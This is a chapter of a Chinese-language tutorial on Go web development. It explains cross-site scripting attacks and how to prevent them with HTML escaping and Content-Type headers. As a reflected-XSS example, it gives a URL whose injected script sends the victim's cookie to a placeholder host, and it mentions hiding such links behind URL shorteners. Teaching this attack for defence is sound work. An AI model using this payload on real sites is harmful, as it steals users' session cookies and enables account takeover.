使用 Golang 打造 Web 應用程式
  • Introduction
  • Go 環境配置
    • Go 安裝
    • GOPATH 與工作空間
    • Go 命令
    • Go 開發工具
    • 小結
  • Go 語言基礎
    • 你好,Go
    • Go 基礎
    • 流程和函式
    • struct
    • 物件導向
    • interface
    • 併發
    • 小結
  • Web 基礎
    • web 工作方式
    • Go 建立一個簡單的 web 服務
    • Go 如何使得 web 工作
    • Go 的 http 套件詳解
    • 小結
  • 表單
    • 處理表單的輸入
    • 驗證表單的輸入
    • 預防跨站指令碼
    • 防止多次提交表單
    • 處理檔案上傳
    • 小結
  • 存取資料庫
    • database/sql 介面
    • 使用 MySQL 資料庫
    • 使用 SQLite 資料庫
    • 使用 PostgreSQL 資料庫
    • 使用 beedb 函式庫進行 ORM 開發
    • NoSQL 資料庫操作
    • 小結
  • session 和資料儲存
    • session 和 cookie
    • Go 如何使用 session
    • session 儲存
    • 預防 session 劫持
    • 小結
  • 文字檔案處理
    • XML 處理
    • JSON 處理
    • 正則處理
    • 範本處理
    • 檔案操作
    • 字串處理
    • 小結
  • Web 服務
    • Socket 程式設計
    • WebSocket
    • REST
    • RPC
    • 小結
  • 安全與加密
    • 預防 CSRF 攻擊
    • 確保輸入過濾
    • 避免 XSS 攻擊
    • 避免 SQL 注入
    • 儲存密碼
    • 加密和解密資料
    • 小結
  • 國際化和本地化
    • 設定預設地區
    • 本地化資源
    • 國際化站點
    • 小結
  • 錯誤處理,除錯和測試
    • 錯誤處理
    • 使用 GDB 除錯
    • Go 怎麼寫測試案例
    • 小結
  • 部署與維護
    • 應用日誌
    • 網站錯誤處理
    • 應用部署
    • 備份和還原
    • 小結
  • 如何設計一個 Web 框架
    • 專案規劃
    • 自訂路由器設計
    • controller 設計
    • 日誌和配置設計
    • 實現部落格的增刪改
    • 小結
  • 擴充套件 Web 框架
    • 靜態檔案支援
    • Session 支援
    • 表單支援
    • 使用者認證
    • 多語言支援
    • pprof 支援
    • 小結
  • 參考資料
Powered by GitBook
On this page
  • 什麼是 XSS
  • XSS 的原理
  • 如何預防 XSS
  • 總結
  • links

Was this helpful?

  1. 安全與加密

避免 XSS 攻擊

隨著網際網路技術的發展,現在的 Web 應用都含有大量的動態內容以提高使用者體驗。所謂動態內容,就是應用程式能夠根據使用者環境和使用者請求,輸出相應的內容。動態站點會受到一種名為“跨站指令碼攻擊”(Cross Site Scripting, 安全專家們通常將其縮寫成 XSS)的威脅,而靜態站點則完全不受其影響。

什麼是 XSS

XSS 攻擊:跨站指令碼攻擊(Cross-Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為 XSS。XSS 是一種常見的 web 安全漏洞,它允許攻擊者將惡意程式碼植入到提供給其它使用者使用的頁面中。不同於大多數攻擊(一般只涉及攻擊者和受害者),XSS 涉及到三方,即攻擊者、客戶端與 Web 應用。XSS 的攻擊目標是為了盜取儲存在客戶端的 cookie 或者其他網站用於識別客戶端身份的敏感資訊。一旦取得到合法使用者的資訊後,攻擊者甚至可以假冒合法使用者與網站進行互動。

XSS 通常可以分為兩大類別:一類別是儲存型 XSS,主要出現在讓使用者輸入資料,供其他瀏覽此頁的使用者進行檢視的地方,包括留言、評論、部落格日誌和各類別表單等。應用程式從資料庫中查詢資料,在頁面中顯示出來,攻擊者在相關頁面輸入惡意的指令碼資料後,使用者瀏覽此類別頁面時就可能受到攻擊。這個流程簡單可以描述為 : 惡意使用者的 Html 輸入 Web 程式->進入資料庫->Web 程式->使用者瀏覽器。另一類別是反射型 XSS,主要做法是將指令碼程式碼加入 URL 地址的請求參數裡,請求參數進入程式後在頁面直接輸出,使用者點選類似的惡意連結就可能受到攻擊。

XSS 目前主要的手段和目的如下:

  • 盜用 cookie,取得敏感資訊。

  • 利用植入 Flash,透過 crossdomain 許可權設定進一步取得更高許可權;或者利用 Java 等得到類似的操作。

  • 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻擊者)使用者的身份執行一些管理動作,或執行一些如 : 發微博、加好友、發私信等常規操作,前段時間新浪微博就遭遇過一次 XSS。

  • 利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。

  • 在存取量極大的一些頁面上的 XSS 可以攻擊一些小型網站,實現 DDoS 攻擊的效果

XSS 的原理

Web 應用未對使用者提交請求的資料做充分的檢查過濾,允許使用者在提交的資料中摻入 HTML 程式碼(最主要的是“>”、“<”),並將未經轉義的惡意程式碼輸出到第三方使用者的瀏覽器解釋執行,是導致 XSS 漏洞的產生原因。

接下來以反射性 XSS 舉例說明 XSS 的過程:現在有一個網站,根據參數輸出使用者的名稱,例如存取 url:http://127.0.0.1/?name=astaxie,就會在瀏覽器輸出如下資訊:

hello astaxie

如果我們傳遞這樣的 url:http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;,這時你就會發現瀏覽器跳出一個彈出框,這說明站點已經存在了 XSS 漏洞。那麼惡意使用者是如何盜取 Cookie 的呢?與上類似,如下這樣的 url:http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;,這樣就可以把當前的 cookie 傳送到指定的站點:www.xxx.com。你也許會說,這樣的 URL 一看就有問題,怎麼會有人點選?,是的,這類別的 URL 會讓人懷疑,但如果使用短網址服務將之縮短,你還看得出來麼?攻擊者將縮短過後的 url 透過某些途徑傳播開來,不明真相的使用者一旦點選了這樣的 url,相應 cookie 資料就會被髮送事先設定好的站點,這樣子就盜得了使用者的 cookie 資訊,然後就可以利用 Websleuth 之類別的工具來檢查是否能盜取那個使用者的賬戶。

如何預防 XSS

答案很簡單,堅決不要相信使用者的任何輸入,並過濾掉輸入中的所有特殊字元。這樣就能消滅絕大部分的 XSS 攻擊。

目前防禦 XSS 主要有如下幾種方式:

  • 過濾特殊字元

    避免 XSS 的方法之一主要是將使用者所提供的內容進行過濾,Go 語言提供了 HTML 的過濾函式:

    text/template 套件下面的 HTMLEscapeString、JSEscapeString 等函式

  • 使用 HTTP 頭指定型別

`w.Header().Set("Content-Type","text/javascript")`

這樣就可以讓瀏覽器解析 javascript 程式碼,而不會是 html 輸出。

總結

XSS 漏洞是相當有危害的,在開發 Web 應用的時候,一定要記住過濾資料,特別是在輸出到客戶端之前,這是現在行之有效的防止 XSS 的手段。

links

Previous確保輸入過濾Next避免 SQL 注入

Last updated 4 years ago

Was this helpful?

更加詳細的關於 XSS 的分析大家可以參考這篇叫做《》的文章。

上一節:

下一節:

新浪微博 XSS 事件分析
目錄
確保輸入過濾
避免 SQL 注入